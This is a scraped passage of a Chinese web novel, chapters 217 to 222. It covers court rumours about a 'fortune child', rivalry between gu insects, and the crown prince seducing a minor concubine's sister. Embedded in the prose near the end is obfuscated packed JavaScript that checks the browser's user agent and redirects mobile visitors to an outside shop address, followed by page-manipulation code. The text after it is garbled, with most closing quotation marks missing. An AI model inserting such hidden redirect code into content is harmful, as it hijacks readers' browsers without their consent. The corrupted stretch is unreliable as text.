两个老头穿得一模一样,只不过一个是哑奴,一个正是丞相府的管家。 管家擦了擦脑门的汗:“公子,咱们这算是成了吧?” “嗯!”顾楠聿看着茶社门口到处找老神仙的人,唇角微翘:“告诉那些地方官,让他们安排人在茶社戏院那些地方安排说书先生。” 管家:“…” 为了个女娃娃,瞒着老丞相调动他的门生,兴师动众蒙蔽世人。 还非拉着他这把老骨头胡闹… 以前咋没发现你还有恋爱脑这种属性呢! “走吧!”顾楠聿收回视线,一步一步消失在黑暗之中。 … 梅园惊现神仙。 福娃的故事一传十十传百,大夏各个大小城池各种地方的说书先生纷纷效仿。 百姓们本就感激唐蕊,现在听到了这个故事,更是对她无比感激。 福娃庙香火鼎盛,每天都是人山人海。 求财的,求子的,求姻缘的,甭管求什么,不去一趟福娃庙别人都会说你跟不上潮流。 忙活了一通,拖着疲惫的身子终于回到京城的司徒霄:“…” 出力的明明是他,为毛百姓们感恩的却是司徒澈父女? 还福娃呢,还仙童下凡呢,就踏马离谱! 偏偏百姓们都信,各地福娃庙生意好到爆炸。 司徒霄无能狂怒,回到东宫后砸了好多东西,气得都快裂开了。 皇帝听到这个传言的时候,笑得都快岔气了。 人才啊! 以前咋没发现,唐蕊这么人才! 福娃下凡,说得有鼻子有眼的! 陈德福胆战心惊,生怕皇帝多想。 毕竟,皇帝都没金身呢! 自古以来功高盖主可是大忌。 陈德福硬着头皮道:“皇上,这可不像是璃王或昭华郡主会做的事儿呀!” “朕知道!”皇帝又不是傻子:“最开始修建福娃庙的地方官,没记错的话,几乎都是丞相的门生吧?这事儿啊,八成是小七家的侧妃搞出来的。” 陈德福:“…”那您,不生气吧? 皇帝自然不会生气。 他本就属意司徒澈,能为司徒澈增添民望,求之不得。 可别人不知道他的心思啊! 陈德福这个伺候了皇帝几十年的老人都如此忐忑,更别说旁人了。 比如,顾丞相! 皇帝能想到的事,他自然也能想到。 可顾若雪在璃王府,他现在骂不了。 更重要的是,顾若雪也没那么大的能量越过他去支配他的门生。 他的几个儿子,老二老三也不行。 老大倒是可以,但老大胆子有点小,可干不出这样的事儿。 那么就只有一个人了! 顾丞相拿起戒尺,气呼呼的杀到顾楠聿的院子。 顾楠聿:“…”来得真快! 第218章 孙大不由爷 “给我跪下!”顾丞相一声河东狮吼! 正扎着马步的顾楠聿吐出一口浊气,接过哑奴手里的帕子擦了擦汗,慢条斯理道:“孙儿做错了什么?还请爷爷明示!” “…”装?接着装! 顾丞相颤抖的指着他:“你还问?你做错了什么,你不知道?那些地方官为什么修建福娃庙,你敢说不是你干的?” 顾楠聿眉梢微扬:“爷爷不是经常教导孙儿,男子汉大丈夫,要顶天立地?自己的妻子都不护,算什么男子汉大丈夫?” “我呸!”顾丞相气得都想爆粗口了:“还妻子,你俩只是定亲,还没成亲呢!” “孙儿与昭华是圣上赐婚,迟早的事!”顾楠聿把帕子扔给哑奴,眉宇间有些不虞。 这话他不爱听! 顾丞相捂着胸口,差点心肌梗塞。 看看! 都来看看! 这就是他寄予厚望的大孙子! 特么的,一整个恋爱脑! 顾丞相磨牙:“功高盖主是大忌,你这不是帮她,而是在害她!” 顾楠聿淡淡道:“爷爷错了,咱们的圣上,对谁都小气,唯独不会对璃王小气。” 顾丞相:“…”你踏马又知道了?你凭什么百分百保证皇帝不会小气? “爷爷请回吧,孙儿一人做事一人当,若是皇上怪罪,孙儿自请脱离顾家就是,不会连累顾家满门。”顾楠聿转身回屋换衣服去了,直接把顾丞相晾在外面。 雨停了,事儿也搞了,农司进了新人,他得去选人了。 早点选好,也能早点去找昭华! 顾丞相脸红脖子粗,指着他久久说不出话来。 可是气着气着,他又觉得有些好笑了。 他之所以看重这个孙子,不就是因为这个孙子最像他年轻的时候嘛! 胆子大,无所畏惧,什么都敢说,什么都敢做! 年轻的时候,他的直言不讳先斩后奏,也经常气得皇帝跳脚来着。 这叫什么? 风水轮流转? 罢罢罢,自家的娃自己宠。 他还是进宫跟皇帝请罪吧! 顾丞相杀气冲天的来,摇头晃脑的离开,心里感叹着孙大不由爷,麻溜的滚进宫了。 皇帝自然不会怪他的,反倒对顾楠聿越发欣赏,觉得这个孙女婿没选错人。 心里更是琢磨着,等这三种农作物普及后,重用顾楠聿! … 这次的涝灾终于过去,因为‘八方支援’,伤亡不大。 一连两次天灾,都没死多少人,百姓们对于福娃一说越发崇信。 唯一不满的,只有小辉泽了。 上一世司徒澈都被骂死了,可这一次,司徒霄却轻松过关,让他如何不气? 难道真像那个老秃驴说的一样,大夏气数已尽,紫微星与五残星重叠,注定被五残星窃取帝辉? 想到这里,小辉泽都快哭了。 唐蕊看出他的失落,废了好大的功夫才弄懂他失落的原因,抱着他轻哄:“上一世爹爹会被骂,是因为大夏百姓因为这两次灾祸死伤惨重吧?” 小辉泽郁闷的眨了一下眼睛。 唐蕊笑道:“这就对了,不管什么事,只要涉及到人命,性质就不一样了,更何况还是那么多条人命?这一次没有死多少人,百姓们的仇恨也没那么大。司徒霄没有成为过街老鼠很可惜,但百姓们渡过了这个难关,没有伤到大夏根基,这才是最重要的。你保护了爹爹,保护了百姓们,保护了大夏根基,很棒哦!” 小辉泽眨眨眼:“咿呀~” 这么说…好像也对! “凡事都有两面性,放心吧,姐姐在呢!”唐蕊捏了捏小辉泽的鼻子。 小辉泽小嘴一瘪,眼眶红红,感动得不要不要的。 有姐姐的娃娃真幸福,肩上那么沉重的担子,都有人分担了。 … 滞留在京城的难民们陆陆续续开始回归故土,几乎人手端着、或抱着一个器皿,又或者提着一个篮子,里面放着防水的布,直接提着。 这些器皿和篮子里,一片长势旺盛的小豆芽,欣欣向荣。 这一路回去,食物都有着落了。 饿了直接薅一遍,煮一煮,就能果腹。 反正再过几天又会长出来。 还有些难民走出城门后,对着城墙上的司徒澈跪下拜了一拜。 站在城墙上的司徒澈礼貌颔首或微笑,眼尾却微微抽搐着。 自古以来,哪个朝代灾害过后不是饿殍遍野,尸骨如山? 可现在呢! 奇景啊! 可以载入史书了。 而这一切都归功于他的宝贝闺女! 司徒澈这一刻都有些自我怀疑了,难道闺女真是福娃下凡? “王爷,灾民已经全部遣送出城!”清风来到他身边,拱手复命。 司徒澈点点头,想了想还是说道:“反正黑鳞骑闲着也是闲着,让吴将军和钱副将带选一些可靠的人,以京城为中心,在三十里之处来回巡逻,以防宵小之辈迫害无辜百姓!” 他不能送百姓们回家,只能做到这个地步。 希望这些百姓一路平安! “是!”清风一个闪身消失在原地! 司徒澈微微一笑,下了城墙,骑着骏马回到府中后立刻来了唐蕊的翠微阁。 然而… 刚踏入院儿里,就见明月蹲在地上,正跟一只绿色的…毛毛虫吧…大眼瞪小眼! 毛毛虫很绿,绿得都快发光了,周围是碎掉的陶渣。 司徒澈皱眉:“你在做什么?” “我在看我大宝贝,好短…”明月头也没抬,都没反应过来说话的是司徒澈,完全沉浸在宝贝为啥这么短的惊讶中了。 还不待司徒澈多问,这傻子就伸出两根手指拎着毛毛虫,几个闪身出现在唐蕊闺房门口:“郡主,为啥我的这么短,你的那么长?” 司徒澈:“!!”这都什么虎狼之词? “啊?我看看哦!”小奶包还抱着一个娃飞奔出来。 明月把毛毛虫放在地上,又蹲下了。 唐蕊也抱着娃蹲下,一大一小观察着毛毛虫。 毛毛虫…瑟瑟发抖! 明月认真请教:“郡主,这是什么蛊哦?” “我…没见过也!新品种么?”唐蕊捡起一根枯枝,把毛毛虫翻了个身。 随后两人不可置信瞪圆了眼睛,不远处的司徒澈脚步一顿,眼尾疯狂抽搐。 只见那毛毛虫身下,长了一根小触角。 这小触角的形状,顶部的弧度,还是很容易让人误会那种! 明月握草了:“它还长了鸟?” 唐蕊也一声卧槽:“你平时都给它喂的啥啊?” 明月歪着脑袋想了想,这才道:“血,还有童子尿吧!我听说童子尿清热解毒很有营养,每隔几天都会找清风要尿滋它。” 说到最后,这货还骄傲上了,一副快夸我的小样儿。 唐蕊:“…你有毒吧?我啥时候让你用尿滋它了?” 还童子尿呢! 没把这小家伙淹死,都算它命大! 怀里的小辉泽:“…” 活了两次,也只有明月这个白痴始终没变,一如既往和的白痴! “没有吗?”明月歪着脑袋想了想,好像确实没有:“那不重要,郡主,我这算炼成了么?这蛊会不会跟你那些炼制失败的蛊一样嘎了?” 唐蕊摸着下巴:“应该不会…” “够了!”司徒澈忍无可忍,开口打断了二人。 听到他的声音,一大一小吓得两个激灵,如标杆一样biu的一声直挺挺的站了起来。 那表情一个比一个无辜,简直神同步! “你们…”司徒澈气得磨牙,他让明月保护唐蕊,就是这么保护的:“明月,你还记不记得自己是个男子?跟一个女子说这些,还把这种东西拿到蕊蕊面前,像话吗?” 第219章 这到底是个什么品种的神仙闺女? 明月认真的想了想,摇头:“不像话!” 司徒澈冷笑一声,正打断继续教训他,却听他又一本正经道:“可以把我当女子,我不介意!” “…”司徒澈觉得自己迟早要被这个明月气死:“给本王滚下去!” “哦!”滚就滚,一会儿再来! 明月正准备伸手去拿毛毛虫,唐蕊手腕上的赤赤这个时候却睁开了眼睛,张开大嘴扑向毛毛虫。 毛毛虫刚刚还纯真的眼底划过一丝冷光,快速扭头躲开它的嘴,神似小鸟的部位立地一弹,直接跳到了赤赤七寸之处。 赤赤也不甘示弱,反身缠绕着它,不断收紧,身体都扭成了麻花。 毛毛虫狡猾得很,立刻顺着它的身子滑了下去,小鸟一甩,扇了赤赤一个大逼斗。 赤赤暴怒,快速伸头,张嘴咬住了毛毛虫。 毛毛虫身下的小鸟从它嘴角伸了出来,插它眼睛。 司徒澈吓了一跳,一跃来到唐蕊身边,一手抱起小辉泽,一手拎起唐蕊,快速避开。 明月也不停后退,给这小两只腾地方。 小两只越打越凶,赤赤的鳞片掉了好几片,毛毛虫也没占到便宜,被赤赤咬了好几口。 最后,它被赤赤缠得死死的,小鸟头也被赤赤咬住使劲扯。 司徒澈惊疑不定:“这俩东西怎么回事?” “没事没事,蛊虫之间自然争斗!”唐蕊被拎着也不介意,摸着下巴沉思状:“现在看来,谁也奈何不了谁,这只无名蛊虫,居然能打赤炼蛊,好厉害的样子。” 司徒澈:“…”老子是问你这个嘛? 养这么危险的东西,你就不怕? 这到底是个什么品种的神仙闺女? 明月也凑了过来,视线却一直在僵持的小两只身上:“郡主,能不能让它们停下来?我怕我的大宝贝死了。” 唐蕊一点也不担心:“短时间死不了,你难道没发现,它的伤口愈合得很快?” 明月:“所以我这是炼成了?它不会像你炼制失败的那些蛊一样死翘翘?” 唐蕊点头:“应该是!” 司徒澈深呼吸,微笑:“你俩,要么让这俩东西停下,要么本王一脚踩死它们!” 此言一出,都不用唐蕊动手,两只蛊立刻分开! 赤赤盘着身体,脑袋微微一歪,清澈的豆豆眼里满是无辜。 毛毛虫看了它一眼,也脑袋一歪,清澈的小眼睛里满是愚蠢! 司徒澈:“…” “哇哦,爹爹好厉害!”唐蕊朝司徒澈竖起大拇指! “一会儿我再教训你!”司徒澈放下她,踹了明月一脚:“把你这四不六的东西拿走,以后不准在蕊蕊面前放出来。” “…”拿走就拿走! 钢铁直男,不识货! 明月快步过去拎起毛毛虫,几个闪身隐到暗处。 赤赤似乎也知道自己闯祸了,高高弹跳起来,蹦到唐蕊肩上,又顺着她的胳膊滑下去,钻进袖口继续当手镯。 司徒澈冷冷的盯着唐蕊。 唐蕊抽了抽眼角,知道老爹又要长篇大论了,一步一步往房里挪:“爹爹哦,我突然觉得好困,想睡觉觉啦…” 司徒澈呵呵,直接赏了她一个暴栗:“明月犯蠢,你也跟着他胡闹?看看那是什么东西,以后不准碰那个东西。” 唐蕊捂着脑门,很是无辜:“这也不怪我哦,是明月自己乱滋尿…” “你还说!”司徒澈打断她的话:“看看你,哪个姑娘家跟你这样,不知羞?” “郡主…”幻蝶匆匆而来:“顾公子来接你了。” “爹爹,我要去忙啦,拜拜拜拜,回头再聊哦!”唐蕊如蒙大赦,扯着幻蝶就往外跑。 顾楠聿来得太及时了,她可不想听司徒澈的长篇大论。 司徒澈气笑了,扯着嗓子喊了一声:“明月,你还不赶紧跟上去给本王盯着顾家那弱鸡崽子!” 一阵风拂过,明月追了上去。 小辉泽乖乖窝在司徒澈怀里,圆溜溜的眼睛一眨不眨盯着他。 似乎察觉到了他的视线,司徒澈低头看着儿子,怒气瞬间褪去,努力让自己平静下来:“看着爹爹作甚?吓到你了?” “啊哦…啊巴…”小辉泽挥舞着小拳头,眼睛逐渐泛红,最后没忍住,哇的一声哭了出来。 爹爹从一个阴郁批变成阳光大男孩,真的太好了。 这辈子,爹爹也会像护着姐姐那样,护着他吧? 司徒澈哪里懂他的意思,一阵手忙脚乱,不停喊着奶娘! 心里却更加坚定唐蕊是福娃的说法。 不然小辉泽怎么一直赖在唐蕊身边,别人一抱他就哭! … 躲进马车的唐蕊狠狠的松了一口气,顾楠聿见她气喘吁吁,倒了杯茶递给她,她也不客气的接过来一饮而尽。 老爹越来越变态了,母妃都没他这么多话。 顾楠聿唇角微翘,心情很好:“怎么跑这么急?” 难道是,很想见到我? “没啥!”唐蕊放下杯子,掀开车帘看了一眼后面的马车:“你找的人靠谱不?” “还不错,没什么心眼,祖上都是农户!”顾楠聿觉得自己猜对了,语气都带着一丝雀跃。 唐蕊放心了:“那就好!” 顾楠聿又道:“昭华,我们先去文殊庵,再去庄子上吧!” 唐蕊闻言有些一言难尽了,很想明明白白跟他说清楚。 但,这是个变态,还是个聪明的变态,不能那么直接,要委婉点! 唐蕊组织了一下语言才道:“顾楠聿,皇爷爷很重视你,年纪轻轻,就给了你官职,我觉得你以后肯定前途无量。” 这算夸奖吧? 顾楠聿嗯了一声,眼神看向别处,耳垂却慢慢红了。 “…”这春心萌动的样子,看得唐蕊眼皮直跳。 唐蕊硬着头皮,继续开口:“你…很聪明,相信你也看出了皇爷爷的心思,如果…我是说如果哈,如果我爹爹一步登天,那我俩很大可能会解除婚约的,毕竟…驸马没有实权,你懂我的意思吧?” 随着唐蕊一字一语,顾楠聿终于听懂了她的意思,紧抿薄唇,眼里的光也渐渐熄灭了,重新变得漆黑一片。 良久,他才轻笑出声,很是认真的询问唐蕊:“所以,你的意思是,我想保住与你的婚约,就得站到太子那边,阻止璃王上位?” 第220章 好像找到对付昭华的办法了 “??”斯密码色!您没事儿吧? 唐蕊被他这神奇的脑回路惊呆了,内心一边被‘死变态’等字样疯狂霸屏,一边急急开口解释:“我可没有这个意思哦,你不要乱说!” 顾楠聿皮笑肉不笑:“可我听着,你好像就是这个意思。” “不是,大哥!”唐蕊眼皮直跳,赶紧打消他这危险的想法:“太子叔叔是什么人哦,他怎么可能听你的对不对?你要是站他那边,先不说大夏以后会变成什么样子,就说你们丞相府这个保皇党,太子叔叔就不会怀恨在心么?他可不是个言而有信宽宏大度的人哦。” “既然不是这个意思,昭华以后就别说出让我误会的话来。” 顾楠聿又恢复了那张死人脸,拉开一个暗格,从里面拿出各种各样的点心放在小几上:“还有一段路呢,要是饿了,可以先垫垫肚子。” 唐蕊:“…”疯批惹不起啊! 看来这事儿得慢慢来了。 唐蕊化悲愤为食欲,不再多说一个字,以此表达自己的不满。 顾楠聿也沉默寡言,不时贴心的为她补上茶水。 本是说好,先去文殊庵的,可路过庄子时,顾楠聿却让人停下了车。 邓老一家人早就在门口迎接了,看到唐蕊也从车厢里钻了出来,赶紧跪下问安。 唐蕊让他们起来,扫了一眼,确定没有邓老大的媳妇,心里才舒坦了几分。 看来邓家人把她上次说过的话记在心里了的。 顾楠聿此时也带着后面那辆马车的人走了过来。 唐蕊给他们互相介绍了一下,邓家人一听是皇帝派来的人,点头哈腰把一行人请了进去。 邓老大甚至一把拉住亲爱的老爹,神色间满是激动:“爹,皇上都派人来跟俺们学种地了,俺以后要是回了村儿,这事儿值得俺吹嘘一辈子。” 邓老爹也很开心:“可不是嘛,古语有言,三百六十行,行行出状元,一哈我们可要知无不言,晓得不?” 邓老大猛点头。 这是必须的! 还好的是,顾楠聿选的人很靠谱,没有看不起邓家人的身份。 全程都在仔细听,还有人拿着小本本在记录的,更有甚者亲自上前,去观察三种植物的根茎,再画上图像… 如果有疑问,也会当即询问邓家人,非常专业。 唐蕊非常满意,还小声问顾楠聿:“你去哪儿找的人?挺靠谱的!” 顾楠聿淡淡道:“我爷爷是丞相,想找几个常年落榜的门生也不难!” 特别是那些出自无权无势的农户之家的考生,一抓一大把。 常年科考不过关,又没银子或没脸回乡,只能依靠给人抄书赚取微薄的银钱,等着下次科举再战而滞留京城的学子,太多太多了… 他只是放出消息,新成立的农司需要几个九品小农正,就有无数人趋之若附。 唐蕊默默竖起大拇指。 看看,这就是官三代、 羊水才是世上最大的分水岭! 唐蕊:“那你们农司除了你这个五品,就全是小农正么?” “不是!”顾楠聿摇了摇头,慢慢给她解释:“农司设九品农正,八品典农,七品田正,六品司田参军,再加上我这个五品司农卿。现在他们都是九品农正,我跟他们说过,要升还是走人,看他们的表现。” 唐蕊懂了,眼神落在那个仔细观察植物,认真记录的男子身上。 刚刚好像有听顾楠聿喊他向锦阳。 这人约莫三十出头,相貌周正…看起来是挺认真,可就是有点老实。 另外几个人明显排挤他,他就像是没发现似的,专注做自己的。 唐蕊一个没忍住:“我都看出来他被排挤了,你就没看出来?” 顾楠聿眼底划过一丝讥讽之色,语气淡淡:“那又如何?这个世上只要有人的地方,这种事都无法避免。机会我给了,自己要是立不起来,那就只能出局!” “…”道理是这个道理,可这话是你一个十一岁的小鬼能说出来的话么? 唐蕊不由得提醒他:“顾楠聿,你才十一岁,不要这么老气横秋的哦。” 顾楠聿闭了闭眼,微笑:“昭华,今天我满十二了。” 唐蕊惊呆:“你是说,今天是你的生辰?” “嗯!”顾楠聿垂下眼眸,看上去有些可怜:“我骗了你,不是我爷爷身体不好,是我爹和娘,最近经常吵架,所以我才想去文殊庵…” “!!”你特么早说啊,误会大了不是? 就说嘛,哪有人会喜欢一个六岁的小孩子。 顾楠聿虽然有点变态属性,但也不是真正的变态呀! 唐蕊此时恨不得扇自己一巴掌,说一声我真该死啊! 居然误会一个纯洁的少年。 唐蕊拉住他的手,一本正经道:“去,我一定陪你去!” 顾楠聿有些为难:“可你刚刚还一副不想去的样子,要是太麻烦就…” “不麻烦,一点都不麻烦,我们是好朋友嘛,我不陪你谁陪你,我陪,必须陪!”唐蕊拍着小胸脯,豪气万千。 “昭华,谢谢你!”少年微微一笑,晃得唐蕊都快变花痴流口水了。 “咳…木事木事啦…”唐蕊不动声色摸了摸嘴角,默默松了一口气。 不怪她,哪个十二岁的男娃娃长成这样的,太特么犯规了。 她没发现,少年眼底一闪而逝的狡黠。 他好像找到对付昭华的办法了,那本书果然有用! … 同一时间,丞相府顾楠聿院儿中。 洒扫婢子正在给他收拾书桌,发现桌上摊开一本书。 婢子只是瞄了一眼书名便愣住了,这这这…这不是最近很火的那本巾帼红颜吗? 可惜只有二三十本流出来,她找了好多书阁都没有。 平时想过过瘾,只能去梅园看戏。 她只是一个奴婢,先不说出府的时间很少,就算能出去,梅园那种地方,也不是她能消费的呀! 婢子左右看了看,见没人发现,于是翻开书本津津有味的看了起来。 她最喜欢的就是里面的男主军医啦,为了让女主喜欢他,撒娇卖萌装可怜,比宫里的娘娘们还能演。 也难怪最后只有他能抱得美人归…嘻嘻… … 第221章 千里姻缘一线牵,天涯海角总相逢 唐蕊此时都没反应过来,顾楠聿借鉴巾帼红颜里男军医对付女主的法子来对付她了。 最踏马可恶的是,这本书还是出自她的手! 等她以后反应过来,才追悔莫及! 离开庄子后,顾楠聿打发几个小农正离开,只带着唐蕊,外加一个会赶车的车夫和幻蝶。 马车顺着山路蔓延而上,唐蕊知道自己误会了顾楠聿,又恢复了以往和他相处的模式。 一路上吃吃喝喝,吵吵闹闹。 顾楠聿全程嘴角带笑,不时附和几句。 很快,文殊庵到了! 顾楠聿带着唐蕊踏入庵中。 庵内静谧清幽,香烟袅袅升腾,弥漫着淡淡的檀香味。 三三两两闺阁女子乖乖跟在长辈身后,偶尔看到男客,那目光就像是被烫了似的,嗖的一下收了回来,小脸微红。 像唐蕊和顾楠聿这样,一男一女大摇大摆跑来的还真没有。 只不过唐蕊年纪小,她们倒是没有多想。 顾楠聿带着唐蕊在庙里拜了拜,又来到庙后。 “哇哦,好大的银杏树!”唐蕊眼睛一亮跑了过去,围着大树转圈,双眼晶晶亮的看着树上挂着的各种红色绸缎。 真漂亮! 这棵树得有几百年了吧? 树上挂满了红色绸带,风一吹就跟着晃动:“那些红绸带是什么?” 守在姻缘树下的尼姑温和的目光看了唐蕊一眼,双手合十:“阿弥陀佛,女施主,这是姻缘结,男女写上自己与心爱之人的名字,抛上树梢,寓意永不分离。” “…”唐蕊见惯这种套路了,没有一点兴趣:“顾楠聿,你要给你爹娘写一个吗?” “嗯!”顾楠聿点点头。 “那你写,我看看这棵树!”唐蕊完全尊重他人的想法,继续研究这棵树去了。 这么粗的银杏,放现代绝对是被保护起来的。 顾楠聿笑看了她一眼,这才来到尼姑的面前:“真能永不分离?” 尼姑温和笑笑,拿出一个抽签桶递给他:“男施主不如一试?” 顾楠聿扫了他一眼,拿过签筒摇晃起来。 没几下,一支签掉落下来。 尼姑捡起那根签递给他:“施主自己看吧!” 顾楠聿低头扫了一眼,眼底划过一丝喜色。 “阿弥陀佛!”尼姑念了一句佛号,又略带深意道:“可惜了…只是有姻缘之相,不是喜结连理,施主若要心想事成,不可操之过急啊…” 顾楠聿顿了顿,唇角的笑意淡了几分:“你到底想说什么?” “天机不可泄露,施主聪慧,不如细细体会…”尼姑说完这话,就不再开口了。 顾楠聿抿了抿唇,心中不虞。 “顾楠聿,好了没?”唐蕊观察够了,屁颠屁颠跑了过来。 顾楠聿立刻把那支签藏进袖口,又摆出了那副温润公子的模样:“好了,我们走吧!” “你写的在哪儿哦?”唐蕊抬起脑袋,试图寻找目标。 “怎么什么都好奇!”顾楠聿不由分说,拉着她离开。 唐蕊回头朝那个尼姑比了个‘拜拜’的手势。 尼姑微微一笑,视线定格在顾楠聿藏着上签的袖口处。 ——千里姻缘一线牵,天涯海角总相逢。 … 文殊庵不大,小半个时辰,就逛得差不多了。 唐蕊和顾楠聿准备打道回府时,却看到了一个熟悉的身影款款而来。 司徒霄? 两人互视一眼,不约而同手拉手离开亭子,蹲到不远处的一块大石头后面藏了起来。 司徒霄并没发现二人,一身白色锦袍,手持折扇,人模狗样走到亭子里,一副欣赏大好景色的逼样。 唐蕊碰了碰顾楠聿,挤眉弄眼:这丫的又发啥‘披风’? 顾楠聿比了个嘘的手势:静观其变! 两人并没有等太久,很快…一位身着黄衣的妙龄女子,手持团扇,在侍婢的搀扶下漫步而来。 司徒霄发现了她,立刻chua的一下打开扇子,开口念叨:“日夕现月钩,浮云不知秋。睥眸观垂柳,和箫独自流。” 女子停下脚步,看了一眼亭子里司徒霄的背影,脸颊浮起一团红云。 侍婢小声道:“小姐,这里有外男,我们回去吧!” 女子点了点头,美眸流转,正要转身。 司徒霄也听到了侍婢的声音,侧头看来,赶紧拱手:“抱歉,不知姑娘会来这里,叨了姑娘雅兴。” 女子也不好走了,转过身朝他福了福身子,快速的扫了他一眼,又赶紧垂下眼眸,那脸也更红了:“公子先来,要说叨扰也是小女叨扰了,还望公子莫要怪罪。” “怎会…”司徒霄刚说两个字,就像是被人摁下了暂停键一般,直勾勾的看着女子,嘴里喃喃道:“小径花影乱…仙姿入目幻…” 女子咬着唇垂下头去,脸都红成了猴屁股。 侍婢怒斥道:“哪儿来的登徒子,敢轻薄我家二小姐。” “抱歉!”司徒霄似回了魂一般,郑重其事朝女子行了一礼:“是姑娘太过貌美,小生才…实在抱歉,小生这就离开,不扰姑娘兴致。” 司徒霄说罢匆匆离去,只是那眼神一直在人家女子脸上,一副快被吸走魂儿的模样。 从女子身边经过时,女子似乎闻到了他身上好闻的竹香,一颗心更是小鹿乱撞! “什么人呀,真是…”侍婢跺脚埋怨了一句,见司徒霄走远了,才收回目光,不经意看到了遗落在女子身边的玉佩,惊呼一声:“呀,二小姐,你看那是什么?” 女子低头一看,眼底划过一丝狐疑之色。 侍婢捡起来递给她:“二小姐,你看,这上面还有字呢!” 女子看清了上面的字,脸色骤变,小嘴微张:“他…他竟然是太子殿下!” “啊?”侍婢一张小脸逐渐惨白:“那那…那奴婢刚刚呵斥的不就是…呜呜呜…小姐,你可要救救奴婢啊!” “别慌别慌…”女子很快稳下情绪,轻声安抚着她:“不知者不罪,再说了,太子殿下…” 说到这,女子小脸一红,羞涩的垂下头去:“太子殿下斯文有礼,不会因为这个就怪罪你的。” 侍婢闻言松了一口气,很快又替女子开心起来:“二小姐,那是太子殿下呀,他居然夸你,他一定是喜欢你。” 第222章 biubiu响 “你别胡说!”二小姐瞪了她一眼,不知想到什么,神色有些黯然:“你也说了,那是太子殿下,当年他连嫡姐都看不上,又怎会看得上我这个庶出的二小姐。” “哎呀,二小姐!”侍婢恨铁不成钢道:“大小姐本就没你漂亮,自然入不了太子殿下的眼。” 女子有些不自信:“是、是吗?可李家只是商贾之家…” “二小姐,不管什么出身,只要太子喜欢你,那你在他心里就是最特别的。” 侍女握着她的手,不停劝道:“你也到了适婚年纪,看看大夫人给你选的都是一些什么人啊?哪一个又能跟太子殿下比?与其嫁给那些人,还不如入太子府,凭着太子对你的宠爱,就做不成太子妃,一个太子侧妃肯定是跑不了的。” “这…我想想吧…” 不得不说,太子侧妃这四个字狠狠打动她了。 家里嫁得最好的就是大姐,嫡出的女儿,夫君还是璃王,前些日子又成了名正言顺的璃王庶妃,家里所有资源几乎全砸在她一个人身上了。 她也会羡慕… 可她不是嫡出,注定得不到爹爹的关注。 大夫人又不是她的生母,给她寻的夫家不是小官小吏,就是商贾之户。 还好,她比嫡姐好看一些,运气也好一些,太子殿下注意到她了。 这也许,是她唯一的机会! 女子心里揣着事,匆匆离开这里。 不远处的大石头后面,两个脑袋伸了出来。 唐蕊一脸无语:“那姑娘看起来刚及笄吧?司徒霄越来越没下限了,都多大的人了,还霍霍年轻小姑娘,臭不要脸的!” “…”觉得自己同样是老牛吃嫩草的顾楠聿默了片刻,好心提醒她:“那个女子我没记错的话,是李家的庶出二女。” 唐蕊一时间没听懂:“所以?” 顾楠聿一脸无奈的看着她:“璃王府李庶妃那个李家!” 唐蕊:“??” 唐蕊:“!!” 后知后觉一口国粹脱口而出:“司徒霄这个狗东西,太不要脸了吧?” 顾楠聿:“…”他什么时候要过脸了。 唐蕊叫出明月,让他跟上去探查后续,自己则是拉着顾楠聿飞快的回到了马车上, 让车夫十万火急往璃王府赶。 顾楠聿不紧不慢,淡漠的点出事实:“世上哪有什么一见钟情,她要是选择太子,那也是她自己痴心妄想,妄图跟嫡姐比高,怨不得旁人!” 唐蕊小脸紧绷:“我知道,那李二小姐年纪小,也许没想过有什么后果。” 李庶母可是李家嫡女,就算不看这个嫡女的面,那李家主又不是傻子,皇帝态度都这么明确了,他不可能没听到风声,也不可能去站太子。 要是李家二小姐选择了太子,她只有被家族放弃一条路。 这事关李庶妃,必须给她报个信哇! 至于李家二小姐…没办法,渣男每个时代都有,现代都还有好多接受过高等教育的女人被渣男**骗身呢,更别说这个时代的纯情小女子了。 车夫知道十万火急,赶车又快又稳。 终于,璃王府到了! 唐蕊下车前扔给顾楠聿一个草编的蚱蜢:“送你的生日礼物,我回去后让人去点心铺给你定个大蛋糕哈。拜拜啦!” 顾楠聿掀开车帘,看着小小的人儿提着裙摆风一样冲进璃王府大门,唇角微翘。 直到看不到那个小人了,才放下车帘,捡起那个草编的蚱蜢,另一只手则是握紧了那只签:“走吧!” 马车缓缓启动,慢悠悠朝丞相府而去。 … “李庶母李庶母…”唐蕊破天荒的没有一回来就去膳房,而是风风火火跑到了李庶妃的院儿里。 李庶妃闻声而出,赶紧弯下腰接住冲过来的唐蕊,掏出手绢替她擦着脑门的汗:“跑这么急做甚?瞧瞧,小脸都红了。” “不是说这个的时候哇李庶母!”唐蕊扯着她的衣袖,把她老妹和太子的事全盘托出,这才又道:“李庶母,你赶紧回去看看你那二妹妹吧!” 李庶妃脸色微沉,还没来得及开口,明月身影一闪出现在唐蕊身后:“好像…有点来不及了。” 唐蕊闻言一愣:“哈?这么快?” 她已经用最快的速度好回来了呀! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163776|196604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明月凑过来,贱兮兮的说道:“你让我观察后续,我一直跟着李二小姐,看到她追上了正要回屋的太子。然后两人没说几句,太子就抱着她不撒手,她挣扎几下就不挣扎了,两个人嘴对嘴,亲得 biubiu响,太子还扯开她衣服了。 李庶妃眼前一黑,福宝赶紧扶住她。 唐蕊**了:“你就不阻止啊? “我阻止啦!明月一脸无辜:“我见势不对,就引了很多人过去,并赶在那些人前面,制造了动静,他们没有成事,也没有被发现。但,当时李二小姐被太子剥得还剩一个肚兜了。 唐蕊:“…瞎说什么大实话! 李庶妃气得浑身发抖:“李云瑶,她…她是猪吗? “庶母别气别气,这不…还剩肚兜么。 唐蕊差点嘴瓢的说出去,察觉不对立刻改口:“两人没成事,这是最好的结果。你快回去,好好劝劝你那二妹妹吧! 明月眨眨眼,歪着脑袋很是好奇:“摸了,亲了,看了,这不就没了清白?是好结果吗? 本来消了一丢丢气的李庶妃听到这话,差点一口老血喷出来。 “闭嘴!唐蕊瞪了他一眼:“不懂清白为何物就去青楼学学,别张口就胡说! 